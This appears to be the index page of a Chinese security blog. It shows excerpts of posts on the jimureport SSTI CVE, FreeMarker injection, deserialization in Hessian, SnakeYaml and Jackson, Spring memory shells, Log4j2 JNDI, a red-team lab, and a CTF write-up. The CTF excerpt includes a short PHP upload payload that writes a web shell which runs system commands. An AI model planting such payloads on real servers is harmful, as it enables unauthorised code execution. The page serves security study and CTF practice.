0%

CVE-2023-4450:jeecgboot积木报表系统 模板注入远程代码执行

简介

jeecgboot积木报表系统jimureport(jmreport)是一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖数据报表、打印设计、图表报表、大屏设计等!

漏洞描述

jimureport ≤ v1.6.0 具有 SSTI(服务器端模板注入),攻击者可利用该漏洞远程执行任意代码(RCE)。

Read more »

FreeMarker 模板注入

什么是freemarker?

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。

其实FreeMarker的原理就是:模板+数据模型=输出

Read more »

SICTF–汪汪队WP

WEB

你能跟得上我的speed吗

一个条件竞争,上传一个test.php

1
2
3
<?php
fputs(fopen('web.php','w'),"<?php system('cat /flag');?>");
?>
Read more »

Hessian反序列化

什么是Hessian?

Hessian 是一种基于二进制协议的网络传输协议,用于通过网络在不同的系统之间进行远程方法调用(RPC)。它以其高效、简单和易于使用而受到广泛关注。

Hessian 协议使用二进制编码来序列化对象,并通过网络传输这些二进制数据。相比于文本协议(如XML或JSON),二进制协议可以显著减少传输的数据量,提高传输效率。

Hessian 协议支持多种编程语言,使得不同语言的应用程序可以方便地进行跨语言的远程方法调用。通常,开发人员只需定义接口和方法,然后在客户端和服务器端分别实现这些接口,Hessian 协议会负责将方法调用请求和响应进行序列化和反序列化,从而实现远程过程调用。

Hessian 在一些 Java 后端框架中应用广泛,例如 Dubbo、Spring 等。它具有轻量级、高性能、跨语言等特点,适用于构建分布式系统或者跨语言的微服务架构。

Read more »

SnakeYaml反序列化

什么是SnakeYaml?

snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

语法参考:https://www.yiibai.com/yaml

Read more »

Jackson反序列化漏洞

最开始的cve包含以下两个

CVE-2017-7275

CVE-2017-17485

由于CVE-2017-7275采用黑名单的方法修复程序,CVE-2017-17485是绕过该黑名单.

Read more »

红日靶场1

网络拓扑图

img

本次实验攻击机为kali:192.168.60.128,web服务器为win7(双网卡,192.168.52.143/192.168.60.139),域内主机win2008 R2:192.168.52.138,win2003:192.168.52.141

注意关闭win7的防火墙,启动phpstudy服务

Read more »

spring内存马

前置知识

Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。

  • IOC容器:IOC容器负责实例化、定位、配置应用程序对象及建立对象依赖。Spring中用BeanFactory实现
  • Spring作为Java框架,核心组件有三个:Core、Context、Bean。其中context又叫IOC容器;Bean构成应用程序主干,Bean就是对象,由IOC容器统一管理;Core为处理对象间关系的方法

依赖注入:把有依赖关系的类放到容器中,解析出这些类的实例

spring对象间的依赖关系可以用配置文件的<bean>定义。context的顶级父类ApplicationContext继承了BeanFactory。

Read more »

Log4j2的JNDI注入漏洞(CVE-2021-44228)

什么是Log4j2?

Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。

Read more »